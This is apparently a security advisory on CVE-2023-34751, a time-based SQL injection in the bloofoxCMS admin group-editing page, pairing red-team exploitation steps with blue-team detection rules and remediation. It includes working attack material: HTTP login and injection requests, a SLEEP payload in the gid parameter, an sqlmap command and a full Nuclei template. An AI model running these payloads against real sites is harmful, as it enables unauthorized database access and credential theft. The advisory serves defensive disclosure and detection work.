CVE-2023-34751

Executive Summary

CVE-2023-34751 is a critical SQL injection vulnerability discovered in bloofoxCMS version 0.5.2.1. The flaw resides in the gid parameter within the admin group editing functionality (admin/index.php?mode=user&page=groups&action=edit). An authenticated attacker can exploit this vulnerability to execute arbitrary SQL queries, leading to the extraction of sensitive data such as user credentials, group permissions, and CMS configuration. The vulnerability is classified as critical with a CVSS score of 9.8, and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released, and the vendor status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – Authentication is required, but the vector assumes no privileges for the initial access; however, exploitation requires admin login.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Potential to modify or delete data.
• Availability Impact: High (A:H) – Could lead to denial of service via SQL injection.

Threat Level: Critical. The vulnerability allows complete compromise of the CMS database, including admin credentials, leading to full site takeover.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the gid parameter of the group editing functionality. The application fails to sanitize or parameterize user input before constructing SQL queries. The vulnerable code path is in admin/index.php when handling the mode=user&page=groups&action=edit request.

Root Cause: The gid parameter is directly concatenated into an SQL query without proper escaping or prepared statements. For example, the vulnerable code might look like:

$query = "SELECT * FROM groups WHERE gid = " . $_POST['gid'];

Exploitation Mechanism: An attacker can inject a time-based payload, such as:

gid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+

This causes the database to sleep for 6 seconds, confirming the injection point. The attacker can then extract data character by character using boolean or time-based techniques.

Impact: Successful exploitation allows an attacker to:

• Extract admin usernames and password hashes.
• Retrieve group permissions and user roles.
• Access CMS configuration settings (e.g., database credentials).
• Potentially escalate privileges or perform further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (bloofoxCMS 0.5.2.1):

// admin/index.php (simplified)
$gid = $_POST['gid'];
$query = "SELECT * FROM groups WHERE gid = $gid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// Use prepared statements
$stmt = $conn->prepare("SELECT * FROM groups WHERE gid = ?");
$stmt->bind_param("i", $gid);
$gid = $_POST['gid'];
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

• The patched version uses parameterized queries, preventing SQL injection.
• Input validation (e.g., is_numeric()) should also be applied to ensure gid is an integer.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a bloofoxCMS 0.5.2.1 instance.
• Valid admin credentials (e.g., admin:admin).

Step-by-Step Exploitation:

1. Login to Admin Panel:

   POST /admin/index.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   username=admin&password=admin&action=login
   

2. Trigger SQL Injection:

   POST /admin/index.php?mode=user&page=groups&action=edit HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   name=User&backend=0&content=0&settings=0&permissions=0&tools=0&demo=0&gid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&name_old=User&send=Save
   

3. Extract Data (Example using sqlmap):

   sqlmap -u "http://target.com/admin/index.php?mode=user&page=groups&action=edit" --data="name=User&backend=0&content=0&settings=0&permissions=0&tools=0&demo=0&gid=1&name_old=User&send=Save" --cookie="PHPSESSID=..." --batch --dbs
   

Nuclei Template (Provided):

id: CVE-2023-34751

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the gid parameter at admin/index.php?mode=user&page=groups&action=edit.
  impact: |
    Authenticated attackers can exploit time-based SQL injection in the gid parameter to extract sensitive database information including user credentials, group permissions, and CMS configuration data from the Bloofox system.
  remediation: |
    Update Bloofox to a version newer than 0.5.2.1 that uses parameterized queries and properly validates the gid parameter in the groups edit functionality.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34751
    cwe-id: CWE-89
    epss-score: 0.33243
    epss-percentile: 0.96931
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve2023,cve,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=user&page=groups&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=User&backend=0&content=0&settings=0&permissions=0&tools=0&demo=0&gid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&name_old=User&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and

Blue Team (Detection & Defense)

Detection:

• Monitor for HTTP requests to /admin/index.php?mode=user&page=groups&action=edit with abnormal gid parameters (e.g., containing SQL keywords like AND, OR, SLEEP, UNION).
• Look for response delays (e.g., >5 seconds) in admin panel requests.
• Deploy WAF rules to block SQL injection patterns.

Defense:

• Immediately upgrade to a patched version if available, or apply virtual patching via WAF.
• Restrict admin panel access to trusted IPs only.
• Implement input validation: ensure gid is an integer.
• Use parameterized queries in all database interactions.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin/index.php?mode=user&page=groups&action=edit with gid containing SQL injection patterns.
• Response times exceeding 5 seconds for the above endpoint.
• User-Agent strings associated with automated tools (e.g., sqlmap, Nuclei).

File IOCs:

• Suspicious entries in web server logs (e.g., Apache access logs) showing SQL injection attempts.
• Modified database tables (e.g., users, groups) with unauthorized changes.

Behavioral IOCs:

• Unauthorized admin logins from unusual IP addresses.
• Bulk extraction of data from the CMS database.

Detection Engineering

YARA Rule

rule CVE_2023_34751_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-34751 in bloofoxCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-34751"
    strings:
        $sqli1 = "gid=" nocase
        $sqli2 = "SLEEP" nocase
        $sqli3 = "AND (SELECT" nocase
        $sqli4 = "OR (SELECT" nocase
        $sqli5 = "UNION SELECT" nocase
        $sqli6 = "gid='" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2023-34751 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against bloofoxCMS gid parameter
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34751
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mode=user&page=groups&action=edit'
        cs-uri-query|contains: 'gid='
        cs-uri-query|contains|all:
            - 'AND'
            - 'SELECT'
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate admin actions with complex group names (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-34751 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"mode=user&page=groups&action=edit"; http_uri; content:"gid="; http_client_body; pcre:"/(AND|OR)\s+SELECT.*SLEEP/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CMS: If possible, take the bloofoxCMS instance offline until a patch is applied.
2. Virtual Patching: Deploy WAF rules to block SQL injection patterns in the gid parameter.
3. Restrict Access: Limit admin panel access to trusted IPs via firewall or .htaccess.

Long-Term Fix:

• Upgrade: Update to a patched version of bloofoxCMS (if available) or migrate to a supported CMS.
• Code Fix: Implement parameterized queries and input validation for all user-supplied data.
• Security Audit: Conduct a full code review to identify similar vulnerabilities.

Workaround:

• If patching is not possible, manually edit the vulnerable PHP file to sanitize the gid parameter:

  $gid = (int)$_POST['gid']; // Cast to integer
  

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5FB0FA30AB39D0D3B82E205E] */}